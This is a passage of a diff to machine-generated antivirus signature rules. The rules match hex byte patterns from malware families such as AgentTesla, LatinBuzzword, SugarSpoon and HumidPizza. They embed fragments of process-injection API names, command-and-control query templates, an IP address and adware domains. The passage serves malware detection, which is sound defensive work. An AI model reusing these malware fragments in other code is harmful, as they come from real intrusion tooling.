4e 85 f6 90 01 02 46 33 db 8b 45 90 01 01 8b 00 0f b6 04 18 88 45 90 01 01 8d 4d 90 01 01 8b d3 8b c7 e8 90 01 04 8b 45 90 01 01 8b 00 0f b6 55 90 01 01 88 14 18 43 4e 90 00 01 00 12 01 57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 01 00 0e 01 56 69 72 74 75 61 6c 41 6c 6c 6f 63 45 78 01 00 0c 01 52 65 73 75 6d 65 54 68 72 65 61 64 00 00 78 b0 00 00 09 00 09 00 09 00 } //21249 + $a_61_1 = {01 00 0e 01 54 5f 5f 52 53 65 6c 46 72 6d 2e 70 61 73 01 00 0e 01 54 5f 5f 5f 69 6d 67 46 69 67 2e 70 61 73 01 00 0e 01 54 5f 5f 5f 66 68 54 6f 6f 6c 2e 70 61 73 01 00 16 81 01 50 72 69 76 69 6c 65 67 65 64 20 69 6e 73 74 72 75 63 74 69 6f 6e 00 00 78 b0 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 50 55 41 3a 57 69 6e 33 32 2f 4f 62 } //11877 + $a_65_2 = {50 52 21 41 4d 54 42 00 01 00 17 81 01 52 65 73 74 61 72 74 42 79 52 65 73 74 61 72 74 4d 61 6e 61 67 65 72 01 00 0c 81 01 61 4d 46 43 4c 69 6e 6b 5f 55 72 6c 01 00 07 81 01 42 61 72 4e 61 6d 65 01 00 0a 81 01 63 6d 64 69 63 6c 69 65 6e 74 01 00 1b 81 01 68 6b 65 79 5f 63 75 72 72 65 6e 74 5f 75 73 65 72 5c 73 6f 66 74 77 61 72 65 5c 01 00 0c } //30054 + $a_57_3 = {6c 63 6f 6d 65 50 61 67 65 01 00 0a 81 01 6b 41 70 61 72 74 6d 65 6e 74 00 00 78 b0 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4e 4a 32 34 21 } //385 + $a_00_4 = {01 00 08 81 01 09 4c 00 6f 00 61 00 64 01 00 14 81 01 07 46 00 72 00 6f 00 00 07 6d 00 42 00 61 00 00 09 73 00 65 01 00 0c 81 01 0d 49 00 6e 00 76 00 6f 00 6b 00 65 01 00 0e 81 01 43 72 65 61 74 65 } //21581 + $a_74_5 = {6e 63 65 01 00 10 81 01 47 65 74 45 78 70 6f 72 74 65 64 54 79 70 65 73 01 00 0e 81 01 4e 65 77 4c 61 74 65 42 69 6e 64 69 6e 67 01 00 09 81 01 67 65 74 5f 43 68 61 72 73 00 00 78 b0 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 0e 81 01 56 69 72 74 75 61 6c 50 72 6f 74 65 63 } //28233 condition: - ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*11877+(#a_6e_2 & 1)*26433+(#a_65_3 & 1)*29295+(#a_43_4 & 1)*25449+(#a_23_5 & 1)*5+(#a_d9_6 & 1)*21249) >=7 + ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*11877+(#a_65_2 & 1)*30054+(#a_57_3 & 1)*385+(#a_00_4 & 1)*21581+(#a_74_5 & 1)*28233) >=7 } -rule _InfrastructureShared_12279{ +rule _InfrastructureShared_13083{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " + + strings : + $a_54_0 = {3a 50 55 41 3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 17 81 01 52 65 73 74 61 72 74 42 79 52 65 73 74 61 72 74 4d 61 6e 61 67 65 72 01 00 0c 81 01 61 4d 46 43 4c 69 6e 6b 5f 55 72 6c 01 00 07 81 01 42 61 72 4e 61 6d 65 } //18467 + $a_81_1 = {63 6d 64 69 63 6c 69 65 6e 74 } //1 cmdiclient + $a_81_2 = {68 6b 65 79 5f 63 75 72 72 65 6e 74 5f 75 73 65 72 5c 73 6f 66 74 77 61 72 65 5c } //1 hkey_current_user\software\ + $a_81_3 = {48 57 65 6c 63 6f 6d 65 50 61 67 65 } //1 HWelcomePage + $a_81_4 = {6b 41 70 61 72 74 6d 65 6e 74 } //1 kApartment + $a_b0_5 = {00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4e 4a 32 34 21 4d 54 42 00 01 00 08 81 01 09 4c 00 6f 00 61 00 64 01 00 14 81 01 07 46 00 72 00 6f 00 00 07 6d 00 42 00 61 00 00 09 73 00 65 01 00 0c 81 01 0d 49 00 6e 00 76 00 6f 00 6b 00 65 01 00 0e 81 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 } //0 + condition: + ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_b0_5 & 1)*0) >=7 + +} +rule _InfrastructureShared_13084{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -136590,7 +145700,7 @@ rule _InfrastructureShared_12279{ ((#a_54_0 & 1)*18467+(#a_72_3 & 1)*385+(#a_00_5 & 1)*7+(#a_69_6 & 1)*14930) >=7 } -rule _InfrastructureShared_12280{ +rule _InfrastructureShared_13085{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -136604,7 +145714,7 @@ rule _InfrastructureShared_12280{ ((#a_54_0 & 1)*18467+(#a_79_1 & 1)*28525+(#a_44_2 & 1)*26740+(#a_01_3 & 1)*19853+(#a_65_4 & 1)*25960) >=7 } -rule _InfrastructureShared_12281{ +rule _InfrastructureShared_13086{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 05 00 21 " @@ -136618,7 +145728,7 @@ rule _InfrastructureShared_12281{ ((#a_46_0 & 1)*16675+(#a_d3_1 & 1)*257+(#a_72_2 & 1)*26740+(#a_01_3 & 1)*3072+(#a_6e_4 & 1)*30559) >=8 } -rule _InfrastructureShared_12282{ +rule _InfrastructureShared_13087{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -136635,7 +145745,7 @@ rule _InfrastructureShared_12282{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*24919+(#a_2f_2 & 1)*13934+(#a_35_3 & 1)*25971+(#a_2f_4 & 1)*26999+(#a_59_5 & 1)*11873+(#a_6e_6 & 1)*29264+(#a_2b_8 & 1)*21760) >=9 } -rule _InfrastructureShared_12283{ +rule _InfrastructureShared_13088{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 05 00 21 " @@ -136649,7 +145759,7 @@ rule _InfrastructureShared_12283{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*13379+(#a_6e_2 & 1)*30465+(#a_2f_3 & 1)*13166+(#a_65_4 & 1)*8309) >=10 } -rule _InfrastructureShared_12284{ +rule _InfrastructureShared_13089{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 05 00 21 " @@ -136663,7 +145773,7 @@ rule _InfrastructureShared_12284{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*27491+(#a_41_2 & 1)*19529+(#a_90_3 & 1)*5120+(#a_2c_4 & 1)*-9212) >=12 } -rule _InfrastructureShared_12285{ +rule _InfrastructureShared_13090{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -136676,7 +145786,7 @@ rule _InfrastructureShared_12285{ ((#a_46_0 & 1)*16675+(#a_04_1 & 1)*-28561+(#a_a2_2 & 1)*400+(#a_19_3 & 1)*400) >=13 } -rule _InfrastructureShared_12286{ +rule _InfrastructureShared_13091{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 06 00 21 " @@ -136689,7 +145799,7 @@ rule _InfrastructureShared_12286{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*-28561+(#a_01_4 & 1)*2304+(#a_00_5 & 1)*82) >=15 } -rule _InfrastructureShared_12287{ +rule _InfrastructureShared_13092{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 05 00 21 " @@ -136702,7 +145812,7 @@ rule _InfrastructureShared_12287{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*87+(#a_61_3 & 1)*25193+(#a_80_4 & 1)*2) >=17 } -rule _InfrastructureShared_12288{ +rule _InfrastructureShared_13093{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -136715,7 +145825,7 @@ rule _InfrastructureShared_12288{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*9628+(#a_69_2 & 1)*31084+(#a_72_3 & 1)*14930) >=18 } -rule _InfrastructureShared_12289{ +rule _InfrastructureShared_13094{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -136729,7 +145839,7 @@ rule _InfrastructureShared_12289{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*111+(#a_68_2 & 1)*8515+(#a_00_3 & 1)*67+(#a_67_4 & 1)*26222) >=18 } -rule _InfrastructureShared_12290{ +rule _InfrastructureShared_13095{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 02 00 21 " @@ -136740,7 +145850,7 @@ rule _InfrastructureShared_12290{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*100) >=200 } -rule _InfrastructureShared_12291{ +rule _InfrastructureShared_13096{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 06 00 21 " @@ -136753,7 +145863,7 @@ rule _InfrastructureShared_12291{ ((#a_6f_0 & 1)*21539+(#a_61_1 & 1)*28532+(#a_41_4 & 1)*8448+(#a_64_5 & 1)*16686) >=200 } -rule _InfrastructureShared_12292{ +rule _InfrastructureShared_13097{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -136763,7 +145873,7 @@ rule _InfrastructureShared_12292{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_12293{ +rule _InfrastructureShared_13098{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -136773,7 +145883,7 @@ rule _InfrastructureShared_12293{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_12294{ +rule _InfrastructureShared_13099{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -136783,7 +145893,7 @@ rule _InfrastructureShared_12294{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_12295{ +rule _InfrastructureShared_13100{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -136793,7 +145903,7 @@ rule _InfrastructureShared_12295{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_12296{ +rule _InfrastructureShared_13101{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -136803,7 +145913,7 @@ rule _InfrastructureShared_12296{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_12297{ +rule _InfrastructureShared_13102{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -136813,7 +145923,7 @@ rule _InfrastructureShared_12297{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_12298{ +rule _InfrastructureShared_13103{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -136823,7 +145933,7 @@ rule _InfrastructureShared_12298{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_12299{ +rule _InfrastructureShared_13104{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -136833,7 +145943,7 @@ rule _InfrastructureShared_12299{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_12300{ +rule _InfrastructureShared_13105{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -136843,7 +145953,7 @@ rule _InfrastructureShared_12300{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_12301{ +rule _InfrastructureShared_13106{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -136853,7 +145963,7 @@ rule _InfrastructureShared_12301{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_12302{ +rule _InfrastructureShared_13107{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -136864,7 +145974,7 @@ rule _InfrastructureShared_12302{ ((#a_4c_0 & 1)*21539+(#a_85_1 & 1)*-169) >=1 } -rule _InfrastructureShared_12303{ +rule _InfrastructureShared_13108{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -136876,7 +145986,7 @@ rule _InfrastructureShared_12303{ ((#a_46_0 & 1)*16675+(#a_19_1 & 1)*1+(#a_07_2 & 1)*31934) >=1 } -rule _InfrastructureShared_12304{ +rule _InfrastructureShared_13109{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -136888,7 +145998,7 @@ rule _InfrastructureShared_12304{ ((#a_46_0 & 1)*21283+(#a_be_1 & 1)*0+(#a_0f_2 & 1)*-31981) >=1 } -rule _InfrastructureShared_12305{ +rule _InfrastructureShared_13110{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -136896,25 +146006,40 @@ rule _InfrastructureShared_12305{ $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 4c 61 74 69 6e 42 75 7a 7a 77 6f 72 64 2e 41 21 64 68 61 00 01 00 18 01 75 69 64 3d 25 73 26 63 6d 64 3d 25 75 26 63 6f 6e 74 65 6e 74 3d 25 73 01 00 2e 01 75 69 64 3d 25 73 26 63 6d } //16675 慂正潤牯场湩㐶䰯瑡湩畂空潷摲䄮搡慨Ā᠀甁摩┽♳浣㵤甥挦湯整瑮┽ų⸀甁摩┽♳浣 $a_75_1 = {63 68 61 74 54 79 70 65 3d 77 65 63 68 61 74 26 61 63 63 6f 75 6e 74 3d 25 73 26 64 61 74 61 3d 01 00 17 01 25 } //15716 $a_3f_2 = {69 7a 65 3d 25 49 36 34 75 26 68 61 73 68 3d 25 73 01 00 13 01 75 69 64 3d 25 73 26 63 6d 64 3d 25 75 26 64 61 74 61 3d 00 00 78 b1 00 00 01 00 01 00 04 00 21 23 48 53 54 52 3a 4e 69 76 64 6f 72 74 2e 41 50 21 43 72 65 61 74 65 45 76 65 6e 74 00 01 00 21 03 6a 00 6a 00 6a 01 66 90 01 03 45 00 6a 00 ff 15 90 01 02 45 00 90 02 10 f2 0f 90 02 18 } //9587 - $a_00_3 = {01 00 2c 03 6a 00 d9 05 90 01 03 00 bb 01 00 00 00 d9 5c 90 02 08 53 d9 05 90 01 03 00 6a 00 90 02 10 d9 5c 90 02 10 c7 44 90 02 10 dd 05 90 00 01 00 18 03 6a 00 6a 00 53 6a 00 90 02 10 ff 15 90 02 10 d9 05 90 02 10 dc 25 90 00 01 00 16 03 6a 00 53 dd 5c 90 02 10 6a 00 90 02 10 ff 15 90 02 10 d9 44 90 00 00 00 78 b1 00 00 01 00 01 00 08 00 21 23 48 53 54 52 3a 50 69 6e 62 61 6c 6c 5f 44 6f 6d 61 69 6e 73 00 01 00 13 01 64 79 6e } //4082 + $a_00_3 = {01 00 2c 03 6a 00 d9 05 90 01 03 00 bb 01 00 00 00 d9 5c 90 02 08 53 d9 05 90 01 03 00 6a 00 90 02 10 d9 5c 90 02 10 c7 44 90 02 10 dd 05 90 00 01 00 18 03 6a 00 6a 00 53 6a 00 90 02 10 ff 15 90 02 10 d9 05 90 02 10 dc 25 90 00 01 00 16 03 6a 00 53 dd 5c 90 02 10 6a 00 90 02 10 ff 15 90 02 10 d9 44 90 00 00 00 78 b1 00 00 01 00 01 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 75 67 61 72 53 70 6f 6f 6e 2e } //4082 condition: ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*15716+(#a_3f_2 & 1)*9587+(#a_00_3 & 1)*4082) >=1 } -rule _InfrastructureShared_12306{ +rule _InfrastructureShared_13111{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " strings : $a_54_0 = {3a 4e 69 76 64 6f 72 74 2e 41 50 21 43 72 65 61 74 65 45 76 65 6e 74 00 01 00 21 03 6a 00 6a 00 6a 01 66 90 01 03 45 00 6a 00 ff 15 90 01 02 45 00 90 02 10 f2 0f 90 02 18 f2 0f 90 00 01 00 2c 03 6a 00 d9 05 90 01 03 00 bb 01 00 00 00 d9 5c 90 02 08 } //18467 $a_90_1 = {03 00 6a 00 90 } //-9901 - $a_5c_2 = {02 10 c7 44 90 02 10 dd 05 90 00 01 00 18 03 6a 00 6a 00 53 6a 00 90 02 10 ff 15 90 02 10 d9 05 90 02 10 dc 25 90 00 01 00 16 03 6a 00 53 dd 5c 90 02 10 6a 00 90 02 10 ff 15 90 02 10 d9 44 90 00 00 00 78 b1 00 00 01 00 01 00 08 00 21 23 48 53 54 52 3a 50 69 6e 62 61 6c 6c 5f 44 6f 6d 61 69 6e 73 00 01 00 13 01 64 79 6e 2e 73 6f 66 74 70 6f 70 75 6c 61 72 2e 6e 65 74 01 00 12 01 64 79 6e 2e 66 6c 69 6e 67 73 74 6f 6e 65 2e 63 6f 6d 01 00 0e 01 61 70 70 62 75 6e 64 6c 65 72 2e 6e 65 74 01 00 0c 01 70 6c 61 74 72 69 75 6d 2e 63 6f 6d 01 00 0f 01 70 69 6e 62 61 6c 6c 63 6f 72 70 2e 63 6f 6d 01 00 11 01 66 72 65 65 6c 61 6e 64 6d 65 64 69 61 2e 63 } //4098 - $a_00_3 = {09 } //28015 + $a_5c_2 = {02 10 c7 44 90 02 10 dd 05 90 00 01 00 18 03 6a 00 6a 00 53 6a 00 90 02 10 ff 15 90 02 10 d9 05 90 02 10 dc 25 90 00 01 00 16 03 6a 00 53 dd 5c 90 02 10 6a 00 90 02 10 ff 15 90 02 10 d9 44 90 00 00 00 78 b1 00 00 01 00 01 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 75 67 61 72 53 70 6f 6f 6e 2e 42 21 64 68 61 00 01 00 11 80 01 31 20 30 20 31 30 30 20 74 72 61 6e 73 70 6f 73 65 01 00 11 80 01 36 20 31 36 38 2e 36 33 2e 31 32 39 2e 31 36 20 2a 01 00 0d 80 01 31 20 30 20 31 30 30 20 61 6c 6c 6f 77 01 00 18 80 01 2a 20 2a 20 2a 20 2a 20 2a 20 33 33 20 30 20 31 30 30 20 61 6c 6c 6f 77 01 00 10 80 01 31 20 30 20 34 30 20 74 } //4098 + $a_73_3 = {6f 73 65 01 00 10 80 01 31 20 30 20 35 30 20 74 72 61 6e 73 70 6f 73 65 00 00 78 b1 00 00 01 00 01 00 08 00 21 23 48 53 54 52 3a 50 69 6e 62 61 6c 6c 5f 44 6f 6d 61 69 6e 73 00 01 00 13 01 64 79 6e 2e 73 6f 66 74 70 6f 70 75 6c 61 72 2e 6e 65 74 01 00 12 01 64 79 6e 2e 66 6c 69 6e 67 73 74 6f 6e 65 2e 63 6f 6d 01 00 0e 01 61 70 } //24946 condition: - ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*-9901+(#a_5c_2 & 1)*4098+(#a_00_3 & 1)*28015) >=1 + ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*-9901+(#a_5c_2 & 1)*4098+(#a_73_3 & 1)*24946) >=1 } -rule _InfrastructureShared_12307{ +rule _InfrastructureShared_13112{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 75 67 61 72 53 70 6f 6f 6e 2e 42 21 64 68 61 00 01 00 11 80 01 31 20 30 20 31 30 30 20 74 72 61 6e 73 70 6f 73 65 01 00 11 80 01 36 20 31 36 38 2e 36 33 2e 31 32 39 2e 31 36 20 2a 01 00 } //16675 + $a_31_1 = {30 } //-32755 0 + $a_30_2 = {61 6c 6c 6f 77 01 00 18 80 01 2a 20 2a 20 2a 20 2a 20 2a 20 33 33 20 30 20 31 30 30 20 61 6c 6c 6f 77 01 00 10 80 01 31 20 30 20 34 30 20 74 72 } //12576 + $a_70_3 = {73 65 01 00 10 80 01 31 20 30 20 35 30 20 74 72 61 6e 73 70 6f 73 65 00 00 78 b1 00 00 01 00 01 00 08 00 21 23 48 53 54 52 3a 50 69 6e 62 61 6c 6c 5f 44 6f 6d 61 69 6e 73 00 01 00 13 01 64 79 6e 2e 73 6f 66 74 70 6f 70 75 6c 61 72 2e 6e 65 74 01 00 12 01 64 79 6e 2e 66 6c 69 6e 67 73 74 6f 6e 65 2e 63 6f 6d 01 00 0e 01 61 70 70 62 75 6e 64 6c } //28257 + $a_6e_4 = {74 01 00 0c 01 70 6c 61 74 72 69 75 6d 2e 63 6f 6d 01 00 0f 01 70 69 6e 62 61 6c 6c 63 6f 72 70 2e 63 6f 6d 01 00 11 01 66 72 65 65 6c 61 } //29285 + $a_65_5 = {69 61 2e 63 6f 6d 01 00 09 01 7a 61 6e 67 6f 2e 63 6f 6d 01 00 0a 01 73 65 65 6b 6d 6f 2e 63 6f 6d 00 00 78 b1 00 00 01 00 01 00 08 00 21 23 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 41 44 42 2e 4e 4f 50 00 01 00 0f 01 0f 1f 84 00 00 00 00 00 55 89 e5 56 57 53 81 01 00 0b 01 0f 1f 44 00 00 55 } //25710 + condition: + ((#a_46_0 & 1)*16675+(#a_31_1 & 1)*-32755+(#a_30_2 & 1)*12576+(#a_70_3 & 1)*28257+(#a_6e_4 & 1)*29285+(#a_65_5 & 1)*25710) >=1 + +} +rule _InfrastructureShared_13113{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 08 00 21 " @@ -136922,32 +146047,40 @@ rule _InfrastructureShared_12307{ $a_54_0 = {3a 50 69 6e 62 61 6c 6c 5f 44 6f 6d 61 69 6e 73 00 01 00 13 01 64 79 6e 2e 73 6f 66 74 70 6f 70 75 6c 61 72 2e 6e 65 74 01 00 12 01 64 79 6e 2e 66 6c 69 6e 67 73 74 6f 6e 65 2e 63 6f 6d 01 00 0e 01 61 70 70 62 75 6e 64 6c 65 72 2e 6e 65 74 01 00 0c } //18467 $a_61_1 = {72 69 75 6d 2e 63 6f 6d 01 00 0f 01 70 69 6e 62 61 6c 6c 63 6f 72 70 2e 63 6f 6d 01 00 11 01 66 72 65 65 6c 61 6e 64 6d 65 64 69 61 2e 63 6f 6d 01 00 09 01 7a 61 6e 67 6f 2e 63 6f 6d 01 00 0a 01 73 65 65 6b 6d 6f 2e 63 6f 6d 00 00 78 b1 00 00 01 00 01 00 08 00 21 23 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 } //28673 $a_6f_2 = {2e 41 44 42 2e 4e 4f 50 00 01 00 0f 01 0f 1f 84 00 00 00 00 00 55 89 e5 56 57 53 81 01 00 0b 01 0f 1f 44 00 00 55 89 e5 56 57 53 01 00 10 01 0f 1f 84 00 00 00 00 00 55 89 e5 56 57 53 83 ec 01 00 0f 01 0f 1f 84 00 00 00 00 00 55 89 e5 53 57 56 81 01 00 0a 01 0f 1f 40 00 55 89 e5 56 57 53 01 00 0a 01 c3 66 90 55 89 e5 56 57 53 83 01 00 0e 01 0f 1f } //24931 - $a_e5_4 = {57 53 81 01 00 0b 01 c3 0f 1f 00 55 89 e5 56 57 53 83 00 00 78 b1 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 78 63 68 61 6e 67 65 72 2e 42 21 64 68 61 00 01 00 3e 01 49 00 6e 00 74 00 65 00 72 00 6e 00 61 00 6c 00 4e 00 61 00 6d 00 65 00 00 00 43 00 6c 00 61 00 73 00 73 00 4c 00 69 00 62 00 72 00 61 00 72 00 79 00 31 00 2e 00 64 00 6c 00 6c 00 00 00 01 00 40 01 46 00 } //21760 - $a_00_5 = {6c 00 65 00 64 00 20 00 74 00 6f 00 20 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 20 00 66 00 69 00 6c 00 65 00 20 00 2c 00 20 00 45 00 72 00 72 00 6f 00 72 00 3a 00 00 00 78 b1 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 44 75 62 6e 69 75 6d 5f 53 61 6d 70 } //97 - $a_53_6 = {48 4f 70 65 6e 53 53 4c 00 01 00 42 03 73 00 73 00 68 00 6b 00 65 00 79 00 70 00 61 00 69 00 72 00 67 00 65 00 6e 00 2e 00 65 00 78 00 65 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 2e 03 4f 70 65 6e 53 53 4c 3a 20 46 41 54 } //25964 - $a_19_7 = {09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 00 00 78 b1 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 49 4f 32 32 33 21 4d 54 42 00 01 00 4e 03 94 58 20 00 01 00 00 5d 13 90 01 01 11 90 01 01 11 90 01 01 94 13 90 01 01 11 90 1b 01 11 90 01 01 11 90 1b 01 11 90 01 01 94 9e 11 90 1b 01 11 90 01 01 11 90 01 01 9e } //19521 + $a_e5_4 = {57 53 81 01 00 0b 01 c3 0f 1f 00 55 89 e5 56 57 53 83 00 00 78 b1 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 48 75 6d 69 64 50 69 7a 7a 61 2e 41 21 64 68 61 00 01 00 3d 42 68 00 10 00 00 68 90 01 04 68 90 01 04 68 00 10 00 00 68 90 01 04 68 00 10 00 00 68 90 01 04 68 00 10 00 00 68 90 01 04 68 00 10 00 00 68 90 01 04 68 90 01 04 ff b5 90 01 04 e8 90 00 01 00 3e 42 } //21760 + $a_6a_6 = {6a 00 8d 45 90 01 01 50 ff 95 90 01 04 85 c0 75 05 e9 90 01 01 00 00 00 } //27376 + $a_01_7 = {01 50 6a 00 6a 00 68 03 80 00 00 ff 75 90 01 01 ff 95 90 01 04 85 c0 90 00 00 00 78 b1 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 78 63 68 61 6e 67 65 72 2e 42 21 64 68 61 00 01 00 3e 01 49 00 6e 00 74 00 65 00 72 00 6e 00 61 00 6c 00 4e 00 61 00 6d 00 65 00 00 00 43 00 6c 00 61 00 73 00 73 00 4c 00 69 00 62 00 72 00 61 00 72 00 79 00 31 00 2e 00 64 00 6c 00 6c 00 00 00 01 00 40 01 46 00 } //17805 condition: - ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*28673+(#a_6f_2 & 1)*24931+(#a_e5_4 & 1)*21760+(#a_00_5 & 1)*97+(#a_53_6 & 1)*25964+(#a_19_7 & 1)*19521) >=1 + ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*28673+(#a_6f_2 & 1)*24931+(#a_e5_4 & 1)*21760+(#a_6a_6 & 1)*27376+(#a_01_7 & 1)*17805) >=1 } -rule _InfrastructureShared_12308{ +rule _InfrastructureShared_13114{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 08 00 21 " strings : $a_72_0 = {6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 41 44 42 2e 4e 4f 50 00 01 00 0f 01 0f 1f 84 00 00 00 00 00 55 89 e5 56 57 53 81 01 00 0b 01 0f 1f 44 00 00 55 89 e5 56 57 53 01 00 10 01 0f 1f 84 00 00 00 00 00 55 89 e5 56 57 53 83 ec 01 00 0f 01 0f 1f 84 00 00 00 00 00 55 89 e5 53 57 56 81 01 00 0a } //22051 $a_40_1 = {55 89 e5 56 57 53 01 00 0a 01 c3 66 90 55 89 e5 56 57 53 83 01 00 0e 01 0f 1f 80 00 00 00 00 } //3841 - $a_56_2 = {53 81 01 00 0b 01 c3 0f 1f 00 55 89 e5 56 57 53 